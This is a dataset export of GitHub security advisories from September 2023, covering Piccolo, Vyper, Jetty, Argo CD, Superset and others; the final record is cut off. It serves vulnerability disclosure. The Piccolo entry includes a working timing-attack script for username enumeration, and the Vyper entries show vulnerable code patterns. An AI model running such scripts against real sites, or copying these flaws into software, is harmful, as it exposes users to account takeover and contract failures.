schema_version
stringclasses 1
value | id
stringlengths 19
19
| modified
stringlengths 20
20
| published
stringlengths 20
20
| withdrawn
stringlengths 20
20
⌀ | aliases
stringlengths 2
20
| summary
stringlengths 20
140
| details
stringlengths 56
37.2k
| severity
stringlengths 2
92
| affected
stringlengths 88
7.07k
| references
stringlengths 139
4.72k
| database_specific
stringlengths 131
185
|
|---|---|---|---|---|---|---|---|---|---|---|---|
1.4.0
|
GHSA-96gq-6ch5-mm54
|
2023-09-01T21:48:47Z
|
2023-09-01T03:30:14Z
| null |
['CVE-2023-4698']
|
usememos/memos vulnerable to improper input validation
|
Improper Input Validation in GitHub repository usememos/memos prior to 0.13.2.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/usememos/memos'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}]}], 'database_specific': {'last_known_affected_version_range': '< 0.13.2'}}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-4698'}, {'type': 'WEB', 'url': 'https://github.com/usememos/memos/commit/c9aa2eeb9852047e4f41915eb30726bd25f07ecd'}, {'type': 'PACKAGE', 'url': 'https://github.com/usememos/memos'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/e1107d79-1d63-4238-90b7-5cc150512654'}]
|
{'cwe_ids': ['CWE-20'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-01T21:48:47Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-9jfq-54vc-9rr2
|
2023-09-27T22:57:13Z
|
2023-09-22T15:30:15Z
|
2023-09-27T22:57:13Z
|
['CVE-2022-3874']
|
Foreman Transpilation Enables OS Command Injection
|
A command injection flaw was found in foreman. This flaw allows an authenticated user with admin privileges on the foreman instance to transpile commands through CoreOS and Fedora CoreOS configurations in templates, possibly resulting in arbitrary command execution on the underlying operating system.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'RubyGems', 'name': 'foreman'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '3.8.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2022-3874'}, {'type': 'WEB', 'url': 'https://github.com/theforeman/foreman/pull/9836'}, {'type': 'WEB', 'url': 'https://github.com/theforeman/theforeman.org/pull/2101'}, {'type': 'WEB', 'url': 'https://access.redhat.com/security/cve/CVE-2022-3874'}, {'type': 'WEB', 'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=2140577'}, {'type': 'PACKAGE', 'url': 'https://github.com/theforeman/foreman'}]
|
{'cwe_ids': ['CWE-78'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2023-09-27T00:34:08Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-qvh6-3j7x-3hq7
|
2023-09-06T19:50:13Z
|
2023-09-05T12:30:16Z
| null |
['CVE-2023-20898']
|
Salt can cause Git Providers to get wrong data
|
Git Providers can read from the wrong environment because they get the same cache directory base name in Salt masters prior to 3005.2 or 3006.2. Anything that uses Git Providers with different environments can get garbage data or the wrong data, which can lead to wrongful data disclosure, wrongful executions, data corruption and/or crash.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'salt'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3005.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'salt'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3006.0rc1'}, {'fixed': '3006.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-20898'}, {'type': 'WEB', 'url': 'https://github.com/pypa/advisory-database/tree/main/vulns/salt/PYSEC-2023-169.yaml'}, {'type': 'PACKAGE', 'url': 'https://github.com/saltstack/salt'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OMWJIHQZXHK6FH2E3IWAZCYIRI7FLVOL/'}, {'type': 'WEB', 'url': 'https://saltproject.io/security-announcements/2023-08-10-advisory/'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-06T19:50:13Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-h7cm-mrvq-wcfr
|
2023-09-20T17:45:31Z
|
2023-09-12T13:50:23Z
| null |
['CVE-2023-41885']
|
Piccolo's current `BaseUser.login` implementation is vulnerable to time based user enumeration
|
### Summary
_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._
The current implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it's own does not also enforce strong passwords (see [here](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#implement-proper-password-strength-controls)), these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform.
The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform.
The likelihood of this vulnerability is possible as it requires minimal skills to pull off especially given the underlying login functionality for Piccolo based sites is open source.
### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
This vulnerability relates to [this](https://github.com/piccolo-orm/piccolo/blob/master/piccolo/apps/user/tables.py#L191-L237) code. Specifically the fact that responses are not returned in constant time, but rather are based off the internal state.
For example, if a user does not exist then `None` is returned immediately instead of encountering a time expensive hash comparison (Line 225). This discrepancy allows a malicious user to time requests made in order to generate a list of usernames which are valid on the underlying platform for usage in further attacks.
If your curious for some more information regarding this attack avenue, I wrote a blog post awhile back with a similar chain to this with some other types of analysis. It lives [here](https://skelmis.co.nz/posts/tbue/).
### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._
#### Piccolo Setup
1. In a fresh environment `pip install 'piccolo[all]'` and `piccolo asgi new`
2. For simplified testing purposes, in `piccolo_conf.py` modify Piccolo to use SQLite:
```python
from piccolo.engine.sqlite import SQLiteEngine
DB = SQLiteEngine()
```
3. In the same file, add the required apps for session authentication. The file should look like the following:
```python
from piccolo.engine.sqlite import SQLiteEngine
from piccolo.conf.apps import AppRegistry
DB = SQLiteEngine()
APP_REGISTRY = AppRegistry(
apps=[
"home.piccolo_app",
"piccolo_admin.piccolo_app",
"piccolo_api.session_auth.piccolo_app",
"piccolo.apps.user.piccolo_app",
]
)
```
4. Run the following migrations:
```text
piccolo migrations forwards user
piccolo migrations forwards session_auth
```
5. Within `app.py`, mount `session_login` at the `/login` path as follows:
```python
from piccolo_api.session_auth.endpoints import session_login
app.mount("/login", session_login())
```
6. Create a new user using `piccolo user create`, making a note of the username and password for later steps.
#### Exploitation
The following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report.
```python
import asyncio
import time
from collections import defaultdict
import httpx
number_of_attempts = 50
# Set this to the username from step 6.
valid_username = "skelmis"
invalid_username = "invalid"
data = defaultdict(lambda: [])
# Ensure this points to your current enviroment
local_base_url = "http://127.0.0.1:8000"
# Set this to the password from step 6.
valid_password = "disobey-blunt-kindly-postbox-tarantula"
invalid_password = "cabana-polar-secrecy-neurology-pacific"
async def make_request(username, password, session: httpx.AsyncClient):
start_time = time.time()
resp = await session.post(
f"{local_base_url}/login",
json={"username": username, "password": password},
follow_redirects=True,
)
end_time = time.time()
if username == valid_username and password == valid_password:
# Just sanity check expected passes are passing
assert resp.status_code == 200
resultant_time = end_time - start_time
data[f"{username}|{password}"].append(resultant_time)
async def main():
async with httpx.AsyncClient() as client:
# This is the baseline correct request
for _ in range(number_of_attempts):
await make_request(valid_username, valid_password, client)
await asyncio.sleep(0.1)
# This is for a valid user but invalid password
for _ in range(number_of_attempts):
await make_request(valid_username, invalid_password, client)
await asyncio.sleep(0.1)
# This is for an invalid user and password
for _ in range(number_of_attempts):
await make_request(invalid_username, invalid_password, client)
await asyncio.sleep(0.1)
r_1 = data[f"{valid_username}|{valid_password}"]
r_2 = data[f"{valid_username}|{invalid_password}"]
r_3 = data[f"{invalid_username}|{invalid_password}"]
r_1_sum = sum(r_1) / len(r_1)
r_2_sum = sum(r_2) / len(r_2)
r_3_sum = sum(r_3) / len(r_3)
print(
f"Average time to response as a valid user with a valid password: {r_1_sum}"
)
print(
f"Average time to response as a valid user with an invalid password: {r_2_sum}"
)
print(
f"Average time to response as an invalid user with an invalid password: {r_3_sum}"
)
if __name__ == "__main__":
asyncio.run(main())
```
N.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination
#### Analysis
The following is the output from the PoC against `pip install piccolo`
The following is the output from the PoC against `pip install git+https://github.com/piccolo-orm/piccolo.git`.
I have included the results from both versions to highlight that this issue is not as a result of [this](https://github.com/piccolo-orm/piccolo/pull/881) pull request but as a result of the underlying logic in usage.
Both of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a [password spray attack](https://owasp.org/www-community/attacks/Password_Spraying_Attack) using common passwords in order to takeover user accounts on the platform.
### Impact
_What kind of vulnerability is it? Who is impacted?_
This is an information disclosure vulnerability.
It would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'piccolo'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.121.0'}]}], 'database_specific': {'last_known_affected_version_range': '<= 0.120.0'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/piccolo-orm/piccolo/security/advisories/GHSA-h7cm-mrvq-wcfr'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41885'}, {'type': 'WEB', 'url': 'https://github.com/piccolo-orm/piccolo/commit/edcfe3568382922ba3e3b65896e6e7272f972261'}, {'type': 'PACKAGE', 'url': 'https://github.com/piccolo-orm/piccolo'}, {'type': 'WEB', 'url': 'https://github.com/pypa/advisory-database/tree/main/vulns/piccolo/PYSEC-2023-173.yaml'}]
|
{'cwe_ids': ['CWE-203', 'CWE-204'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-12T13:50:23Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-6f4m-j56w-55c3
|
2023-09-25T17:43:43Z
|
2023-09-23T21:30:17Z
| null |
['CVE-2022-3962']
|
Kiali content spoofing vulnerability
|
A content spoofing vulnerability was found in Kiali. It was discovered that Kiali does not implement error handling when the page or endpoint being accessed cannot be found. This issue allows an attacker to perform arbitrary text injection when an error response is retrieved from the URL being accessed.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/kiali/kiali'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.57.4'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2022-3962'}, {'type': 'WEB', 'url': 'https://github.com/kiali/kiali/commit/aab7694f850f04d7fd875fac5f720a93ccdf01ad'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2023:0542'}, {'type': 'WEB', 'url': 'https://access.redhat.com/security/cve/CVE-2022-3962'}, {'type': 'WEB', 'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=2148661'}, {'type': 'PACKAGE', 'url': 'https://github.com/kiali/kiali'}, {'type': 'WEB', 'url': 'https://issues.redhat.com/browse/OSSM-2251?attachmentViewMode=list'}]
|
{'cwe_ids': ['CWE-74'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-25T17:43:43Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-v594-2c97-hx38
|
2023-09-07T13:59:24Z
|
2023-09-06T15:30:26Z
| null |
['CVE-2023-27523']
|
Apache Superset vulnerable to improper data authorization
|
Improper data authorization check on Jinja templated queries in Apache Superset up to and including 2.1.0 allows for an authenticated user to issue queries on database tables they may not have access to.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'apache-superset'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.1.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-27523'}, {'type': 'PACKAGE', 'url': 'https://github.com/apache/superset'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread/3y97nmwm956b6zg3l8dh9oj0w7dj945h'}]
|
{'cwe_ids': ['CWE-863'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-07T13:59:24Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-3hg2-r75x-g69m
|
2023-09-21T14:17:11Z
|
2023-09-18T19:20:55Z
| null |
['CVE-2023-42441']
|
Vyper has incorrect re-entrancy lock when key is empty string
|
### Impact
Locks of the type `@nonreentrant("")` or `@nonreentrant('')` do not produce reentrancy checks at runtime.
```Vyper
@nonreentrant("") # unprotected
@external
def bar():
pass
@nonreentrant("lock") # protected
@external
def foo():
pass
```
### Patches
Patched in #3605
### Workarounds
The lock name should be a non-empty string.
### References
_Are there any links users can visit to find out more?_
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'vyper'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.2.9'}, {'fixed': '0.3.10'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/vyperlang/vyper/security/advisories/GHSA-3hg2-r75x-g69m'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42441'}, {'type': 'WEB', 'url': 'https://github.com/vyperlang/vyper/pull/3605'}, {'type': 'WEB', 'url': 'https://github.com/vyperlang/vyper/commit/0b740280c1e3c5528a20d47b29831948ddcc6d83'}, {'type': 'PACKAGE', 'url': 'https://github.com/vyperlang/vyper'}]
|
{'cwe_ids': ['CWE-667', 'CWE-833'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-18T19:20:55Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-9832-mgg4-3gr6
|
2023-09-07T13:59:27Z
|
2023-09-06T15:30:26Z
| null |
['CVE-2023-36387']
|
Apache Superset has improper default REST API permission for Gamma users
|
An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'apache-superset'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.1.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-36387'}, {'type': 'PACKAGE', 'url': 'https://github.com/apache/superset'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread/tt6s6hm8nv6s11z8bfsk3r3d9ov0ogw3'}]
|
{'cwe_ids': ['CWE-281', 'CWE-918'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-07T13:59:27Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-ghc8-5cgm-5rpf
|
2023-09-11T20:43:17Z
|
2023-09-11T20:43:17Z
| null |
[]
|
Inventory fails to prohibit standard library access prior to initialization of Rust standard library runtime
|
Affected versions allow arbitrary caller-provided code to execute before the lifetime of `main`.
If the caller-provided code accesses particular pieces of the standard library that require an initialized Rust runtime, such as `std::io` or `std::thread`, these may not behave as documented. Panics are likely; UB is possible.
The flaw was corrected by enforcing that only code written within the `inventory` crate, which is guaranteed not to access runtime-dependent parts of the standard library, runs before `main`. Caller-provided code is restricted to running at compile time.
|
[]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'inventory'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.2.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/dtolnay/inventory/pull/43'}, {'type': 'WEB', 'url': 'https://github.com/dtolnay/inventory/commit/b853350a3800e38d2cb9950355b80bc8b8d3959c'}, {'type': 'PACKAGE', 'url': 'https://github.com/dtolnay/inventory'}, {'type': 'WEB', 'url': 'https://rustsec.org/advisories/RUSTSEC-2023-0057.html'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-11T20:43:17Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-cx2q-hfxr-rj97
|
2023-09-27T15:42:42Z
|
2023-09-26T19:34:53Z
| null |
['CVE-2023-42460']
|
Vyper's `_abi_decode` input not validated in complex expressions
|
### Impact
`_abi_decode()` does not validate input when it is nested in an expression. the following example gets correctly validated (bounds checked):
```vyper
x: int128 = _abi_decode(slice(msg.data, 4, 32), int128)
```
however, the following example is not bounds checked
```vyper
@external
def abi_decode(x: uint256) -> uint256:
a: uint256 = convert(_abi_decode(slice(msg.data, 4, 32), (uint8)), uint256) + 1
return a # abi_decode(256) returns: 257
```
the issue can be triggered by constructing an example where the output of `_abi_decode` is not internally passed to `make_setter` (an internal codegen routine) or other input validating routine.
### Patches
https://github.com/vyperlang/vyper/pull/3626
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
### References
_Are there any links users can visit to find out more?_
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'vyper'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.3.4'}, {'fixed': '0.3.10'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/vyperlang/vyper/security/advisories/GHSA-cx2q-hfxr-rj97'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42460'}, {'type': 'WEB', 'url': 'https://github.com/vyperlang/vyper/pull/3626'}, {'type': 'PACKAGE', 'url': 'https://github.com/vyperlang/vyper'}]
|
{'cwe_ids': ['CWE-682'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-26T19:34:53Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-6jqw-jwf5-rp8h
|
2023-09-27T20:14:44Z
|
2023-09-27T20:14:44Z
| null |
['CVE-2023-40026']
|
Path traversal allows leaking out-of-bound Helm charts from Argo CD repo-server
|
### Impact
In Argo CD versions prior to 2.3 (starting at least in v0.1.0, but likely in any version using Helm before 2.3), using a specifically-crafted Helm file could reference external Helm charts handled by the same repo-server to leak values, or files from the referenced Helm Chart. This was possible because Helm paths were predictable.
The vulnerability worked by adding a Helm chart that referenced Helm resources from predictable paths. Because the paths of Helm charts were predictable and available on an instance of repo-server, it was possible to reference and then render the values and resources from other existing Helm charts regardless of permissions. While generally, secrets are not stored in these files, it was nevertheless possible to reference any values from these charts.
### Patches
This issue was fixed in Argo CD 2.3 and subsequent versions by randomizing Helm paths.
### Workarounds
User's still using Argo CD 2.3 or below are advised to update to a [supported version](https://argo-cd.readthedocs.io/en/stable/operator-manual/installation/#supported-versions). If this is not possible, disabling Helm chart rendering, or using an additional repo-server for each Helm chart would prevent possible exploitation.
### References
https://github.com/argoproj/argo-cd/security/advisories/GHSA-63qx-x74g-jcr7
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [example link to repo](http://example.com)
* Email us at [example email address](mailto:example@example.com)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/argoproj/argo-cd'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.8.7'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/argoproj/argo-cd/v2'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.3.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/argoproj/argo-cd/security/advisories/GHSA-63qx-x74g-jcr7'}, {'type': 'WEB', 'url': 'https://github.com/argoproj/argo-cd/security/advisories/GHSA-6jqw-jwf5-rp8h'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-40026'}, {'type': 'WEB', 'url': 'https://argo-cd.readthedocs.io/en/stable/operator-manual/installation/#supported-versions'}, {'type': 'PACKAGE', 'url': 'https://github.com/argoproj/argo-cd'}]
|
{'cwe_ids': ['CWE-22', 'CWE-23'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-27T20:14:44Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-3gh6-v5v9-6v9j
|
2023-09-29T20:12:01Z
|
2023-09-14T16:16:00Z
| null |
['CVE-2023-36479']
|
Jetty vulnerable to errant command quoting in CGI Servlet
|
If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested.
```java
if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" "))
execCmd = "\"" + execCmd + "\"";
```
### Exploit Scenario
The cgi-bin directory contains a binary named exec and a subdirectory named exec” commands, which contains a file called bin1. The user sends to the CGI servlet a request for the filename exec” commands/bin1. This request will pass the file existence check on lines 194 through 205. The servlet will add quotation marks around this filename, resulting in the command line string “exec” commands/bin1”. When this string is passed to Runtime.exec, instead of executing the bin1 binary, the server will execute the exec
binary with the argument commands/file1”. In addition to being incorrect, this behavior may bypass alias checks, and it may cause other unintended behaviors if a command prefix is configured.
If the useFullPath configuration setting is off, the command need not pass the existence check. The attack would not rely on a binary and subdirectory having similar names, and the attack will succeed on a much wider variety of directory structures.
### Impact
Users of the `org.eclipse.jetty.servlets.CGI` Servlet with a very specific command structure may have the wrong command executed.
### Patches
No patch.
In Jetty 9.x, 10.x, and 11.x the `org.eclipse.jetty.servlets.CGI` has been deprecated.
In Jetty 12 (all environments) the `org.eclipse.jetty.servlets.CGI` has been entirely removed.
### Workarounds
The `org.eclipse.jetty.servlets.CGI` Servlet should not be used. Fast CGI support is available instead.
### References
* https://github.com/eclipse/jetty.project/pull/9516
* https://github.com/eclipse/jetty.project/pull/9889
* https://github.com/eclipse/jetty.project/pull/9888
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty:jetty-servlets'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '9.0.0'}, {'fixed': '9.4.52'}]}], 'database_specific': {'last_known_affected_version_range': '<= 9.4.51'}}, {'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty:jetty-servlets'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '10.0.0'}, {'fixed': '10.0.16'}]}], 'database_specific': {'last_known_affected_version_range': '<= 10.0.15'}}, {'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty:jetty-servlets'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '11.0.0'}, {'fixed': '11.0.16'}]}], 'database_specific': {'last_known_affected_version_range': '<= 11.0.15'}}, {'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty.ee10:jetty-ee10-servlets'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '12.0.0-beta2'}]}], 'database_specific': {'last_known_affected_version_range': '<= 12.0.0-beta1'}}, {'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty.ee9:jetty-ee9-servlets'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '12.0.0-beta2'}]}], 'database_specific': {'last_known_affected_version_range': '<= 12.0.0-beta1'}}, {'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty.ee8:jetty-ee8-servlets'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '12.0.0-beta2'}]}], 'database_specific': {'last_known_affected_version_range': '<= 12.0.0-beta1'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/eclipse/jetty.project/security/advisories/GHSA-3gh6-v5v9-6v9j'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-36479'}, {'type': 'WEB', 'url': 'https://github.com/eclipse/jetty.project/pull/9516'}, {'type': 'WEB', 'url': 'https://github.com/eclipse/jetty.project/pull/9888'}, {'type': 'WEB', 'url': 'https://github.com/eclipse/jetty.project/pull/9889'}, {'type': 'PACKAGE', 'url': 'https://github.com/eclipse/jetty.project'}, {'type': 'WEB', 'url': 'https://www.debian.org/security/2023/dsa-5507'}]
|
{'cwe_ids': ['CWE-149'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-14T16:16:00Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-hqp9-mrjw-7qq2
|
2023-09-28T16:43:22Z
|
2023-09-28T06:30:20Z
| null |
['CVE-2023-38877']
|
Economizzer host header injection vulnerability
|
A host header injection vulnerability exists in gugoan's Economizzer v.0.9-beta1 and commit 3730880 (April 2023). By sending a specially crafted host header in the reset password request, it is possible to send password reset links to users which, once clicked, lead to an attacker-controlled server and thus leak the password reset token. This allows an attacker to reset other users' passwords.
|
[]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'gugoan/economizzer'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '0.9-beta1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-38877'}, {'type': 'WEB', 'url': 'https://github.com/gugoan/economizzer/commit/37308802dfe00d43df396a8afaa2096ece8b7b57'}, {'type': 'WEB', 'url': 'https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38877'}, {'type': 'PACKAGE', 'url': 'https://github.com/gugoan/economizzer/'}, {'type': 'WEB', 'url': 'https://www.economizzer.org'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-28T16:43:22Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-m988-7375-7g2c
|
2023-09-26T13:57:38Z
|
2023-09-25T17:34:11Z
| null |
['CVE-2023-42817']
|
pimcore/admin-ui-classic-bundle Cross-site Scripting vulnerability in Translations
|
### Impact
The translation value with text including “%s” (from “%suggest%) is parsed by sprintf() even though it’s supposed to be output literally to the user.
The translations may be accessible by a user with comparatively lower overall access (as the translation permission cannot be scoped to certain “modules”) and a skilled attacker might be able to exploit the parsing of the translation string in the dialog box.
### Patches
https://github.com/pimcore/admin-ui-classic-bundle/commit/abd7739298f974319e3cac3fd4fcd7f995b63e4c.patch
### Workarounds
Update to version 1.1.2 or apply this patches manually
https://github.com/pimcore/admin-ui-classic-bundle/commit/abd7739298f974319e3cac3fd4fcd7f995b63e4c.patch
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/admin-ui-classic-bundle'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.1.2'}]}]}]
|
